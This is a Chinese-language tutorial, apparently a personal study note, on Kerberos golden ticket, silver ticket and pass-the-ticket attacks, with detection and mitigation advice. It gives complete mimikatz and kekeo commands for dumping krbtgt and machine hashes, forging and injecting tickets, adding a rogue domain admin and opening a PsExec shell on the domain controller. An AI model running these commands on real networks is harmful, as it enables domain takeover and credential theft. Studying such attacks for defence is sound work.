黄金白银票据及PTT小结
本文仅作为学习记录,如有侵权,请联系删除!
TGT黄金票据:
前面学习了kerberos协议认证的过程,如果TGT被伪造,跳过了AS认证,直接进行第二次认证,就可以和任意的Server进行通信,这个伪造的TGT叫做黄金票据。
正常来说,会使用KDC一个特定账户的NTLM-hash对Session-key、timestamp、Client-info进行的加密。这个特定账户就是krbtgt,该账户为创建域控时自动生成。
那么当我们拥有krbtgt 域账号NTLM-Hash的时候,即获取域管理员权限,就可以伪造黄金票据。
利用场景:
通常在拿下域控后用来作权限维持的一种方式。因为krbtgt 域账户的密码基本不会更改。
利用条件:
krbtgt NTLM-Hash
域名称
域SID
利用过程:
1、获取krbtgt 域账户的NTLN-Hash:
mimikatz.exe "lsadump::dcsync /user:fubao\krbtgt" exit
2、生成黄金票据并注入内存:
查看所有用户的SID:wmic useraccount get name,sid
清空缓存,使用域控hash构造任意账号可用的TGT,并将黄金票据注入内存。
(即使域内不存在该账号(微软的MS-KILE解释:Kerberos V5不提供对TGS请求的账号撤销检查,只要TGT有效,即使该账号已被删除,TGT更新和服务票据也可以发布)
mimikatz.exe "kerberos::purge" exit # 清空缓存
# 或者 klist purge
mimikatz.exe "kerberos::golden /user:testuser /domain:fubao.com /sid:S-1-5-21-2252190005-3761689977-461674824 /krbtgt:9bafce49f3308b4cc122daa24b8c8884 /ptt" exit
参数说明:
/user:伪造的账号
/domain:域名称
/sid:域SID,注意是去掉最后一个-后面的值
/krbtgt:krbtgt账号的密码哈希值
/ticket:生成的票据名称
/ptt:表示的是 Pass The Ticket 攻击,是把生成的票据导入内存,也可以使用/ticket 导出
3、测试权限:
列出域控的C盘:dir \\DC\C$
创建域管账号:
net user hacker asdaS121? /add /domain
net group "domain admins" hacker /add /domain
4、使用Psexec登录域控的cmd控制台:
Psexec.exe \\DC.fubao.com cmd.exe
防御分析:
- 网络流量分析:
服务票据的请求过程为:TGS-REQ(服务票据请求)-> TGS-REP(服务票据响应)-> TGS-REQ(服务票据请求)-> TGS-REP(服务票据响应)
可以发现这里并没有出现身份验证的流量信息(即TGT票证的请求过程),略过了这一步,而是直接就是获取服务票据的流量。
在最后一个TGS-REP中出现账号:testuser,其请求的服务是krbtgt,即通过伪造账号(域内不存在)请求krbtgt。或者该账号在域内存在,但其原本不具有krbtgt的权限,此时却成功申请下krbtgt的权限。
- 主机日志分析:
黄金票据注入前后均没有4768身份验证日志,当注入黄金票据之后,访问服务,会出现两次4769事件,其中第一个4769事件请求的服务是主机名$,第二个4769事件请求的是具体的服务,如krbtgt服务。
4672事件:因为权限高,因此会出现特权登录事件。账号本为一般权限,却出现了特权登录事件,且在该事件中,其SID是以500结尾(500代表了域管账号),因为在攻击过程中,SID后的500会自动添加,与实际的域管理账号不一致。
4624事件:账号为testuser,有登录的主机地址,端口和SID(以500结尾)。
Windows 4624记录了testuser在某个内网IP地址登录,并且账号与安全ID(500代表了域管账号)不一致,安全ID其实就是SID。事件查看器会自动尝试解析 SID 并显示账号。正常来说账号应该与安全ID对应,这里很明显testuser账号是伪造的,但是攻击者只要伪造administrator名字来伪造票据就可以躲过检测,但是administrator在非常用的IP地址段出现就是异常的了这里也可以检测一下。如果攻击者用的不是administrator,而是伪造其它账号,如果这个账号存在,但是SID值此时会产生异常,和之前的SID值不一样,也是可以进行检测的。
缓解措施:
- 至少修改两次密码:监测到黄金票据攻击,或监测到域控权限失陷后,除了正常的处置操作外,还需要修改两次krbtgt账号的密码(Active Directory为了防止定期迭代帐户密码重用,默认密码策略被设置为记住24个历史密码,而且至少也要迭代一次保存于电脑帐户。即使密码已更新,也会继续使用前面的密码散列进行身份验证)。只有连续修改两次krbtgt账号密码,才会使域内凭据均失效,重置密码可以使用官方重置krbtgt账号密码的脚本。
- 严格控制账号权限:实行权限最小化原则,同时限制域控管理员账号可以登录的主机,监控域控管理员账号在非管理员主机上的登录行为。
- 严格控制可以委派的账号、权限:能有效降低攻击者访问AD数据库(ntds.dit)的风险。如果攻击者无法访问AD数据库,则无法获取到KRBTGT帐户的密码。
- 定期变更krbtgt账号密码:定期修改krbtgt账号的密码,且需要保持较高的复杂度。即使没有检测到黄金票据攻击,但只要域控权限失陷后,就一定要修改krbtgt账号的密码。
白银票据:
白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步。白银票据是用服务账号密码的哈希值来伪造TGS,生成伪造的服务票据 ST直接与服务器进行交互。
先看一下客户端请求服务器是怎样使用Ticket的:
Ticket票据构造如下:
在第三次认证中,Client会向Server发送KRB_AP_REQ
,大概包括两部分
- server session key(TGS生成的)加密时间戳、Client-info、Server-info等数据
- ST(Ticket):由Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
server session key我们可以随意伪造,过期时间也可以设置为无限长。然后用伪造的server session key加密与Ticket相同的客户端信息。
当我们知道Server NTLM-hash值时,就可以伪造服务票据ST,也就是TGS票据,但是只能访问服务器指定服务。
利用条件:
域名称
域的SID(普通用户的sid除去最后三位就是域的sid)
域中服务账户的NTLM哈希
伪造任意的用户名
优缺点:
1.票据生成过程中不需要使用 KDC,可以绕过域控制器,很少留下日志,因此白银票据更加隐蔽,不容易被发现。
2.因用服务账号密码的哈希值来伪造TGS,所以其权限低于黄金票据。
3.任何事件日志都在目标服务器上,且日志较少。
利用过程:
1、假设已获取域控Server 2012 的权限,导出域控hash:
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
注意是DC$用户的NTLM-Hash,非administrator,因为要利用共享服务账号
2、为cifs服务伪造Silver Ticket(CIFS 服务常用于 Windows 主机之间的文件共享):
mimikatz.exe "kerberos::golden /domain:fubao.com /sid:S-1-5-21-2252190005-3761689977-461674824 /target:DC.fubao.com /service:cifs /rc4:4ad351d709e2xxxxxxxxxxxxxxxxxxxx /user:administrator /ptt" exit
/domain:域名
/sid:SID值
/target: 域控制器全称
/service: 需要指定相关的服务名,此处为cifs
/rc4: 域控的计算机账户ntlm hash
/user: 要伪造的用户名,任意填写
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存
常见服务:
服务名称 | 同时需要的服务 |
---|---|
WMI | HOST、RPCSS |
PowerShell Remoting | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | HOST |
Windows File Share(CIFS) | CIFS |
LDAP、DCSync | LDAP |
Windows Remote Server | RPCSS、LDAP、CIFS |
3、尝试使用psexec.exe与域控建立cmd交互式shell,成功获得域控cmd权限:
Psexec.exe \\DC.fubao.com cmd.exe
两种票据的区别:
- Silver Ticket 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT,故白银票据不经过 KDC,且日志相对更少,同时白银票据的日志都在目标服务器上,域控上不会有日志。黄金票据在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
- 白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽,但白银票据的权限就远不如黄金票据的权限了
- Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
- Silver Ticket会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。
票据传递攻击:
票据传递(Pass the Ticket,PTT),使用 Kerberos票据进行内网横向,不需要管理员权限
票据传递是把内存中的TGT和ST票据进行认证,获取远程服务的访问权限。比如我们拿到一个域用户和域控的NTLM,如果想通过PTH使用mimikatz需要本地管理员权限才可以操作,或者我们也可以使用ptt功能进行票据传递,拿到域控的权限。
利用过程:
使用kekeo进行操作:
kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机
kekeo.exe "tgt::ask /user:administrator /domain:fubao.com /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit
或者使用mimikatz将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
执行后会在当前的目录上生成一个后缀为kirbi的票据文件,我们需要把该票据导入到内存中才可以生效。在这之前我们还需要清理票据:
klist purge
kekeo.exe "kerberos::ptt TGT_administrator@FUBAO.COM_krbtgt~fubao.com@FUBAO.COM.kirbi" exit
或者也可以使用mimikatz导入票据:
kerberos::ptt TGT_administrator@FUBAO.COM_krbtgt~fubao.com@FUBAO.COM.kirbi
导入后我们再尝试远程访问域控的文件内容:
参考如下:
AD域黄金票据的利用与防御分析
白银票据(Silver Ticket)攻击
Pass The Ticket之黄金票据
横向移动-黄金白银票据